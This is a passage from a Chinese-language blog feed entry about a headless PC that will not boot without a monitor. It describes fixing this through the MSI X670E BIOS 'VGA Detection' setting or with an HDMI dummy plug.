href="#不接显示器无法启动主机系统" class="headerlink" title="不接显示器无法启动主机系统"></a>不接显示器无法启动主机系统</h2><p>我打算远程访问主机, 所以主机没有接显示器, 结果每次重启, 它就莫名其妙卡着进不了系统, 接入显示器也是没信号, 于是我关机, 接上显示器看什么情况, 结果就恢复正常了! 如果我不接显示器开机就不能进入系统, 且开机状态下再插DP或者HDMI也不好使.</p><p>其实原因是, 主板的启动逻辑有问题. 主板BIOS自检的时候, 没有检查到显示设备, 就不启动了, 好像HDMI之类的没有热拔插?(虽然不理解为什么会这样, 明明显卡可以工作的.) 所以进入不了操作系统, 且没显示界面. </p><p><strong>解决方法:</strong> 如果BIOS可以设置, 就设置一下. 比如我的MSI x670E主板, 一开始没有相关选项, 更新了BIOS后, 就有了” Settings &gt; Advanced &gt; Integrated Peripherals &gt; VGA Detection  “, 选择”ignore”就可以解决这个问题了. 如果有的BIOS实在不支持, 可以用hdmi dummy plug之类的东西解决.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;记录生活小事.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
</feed>
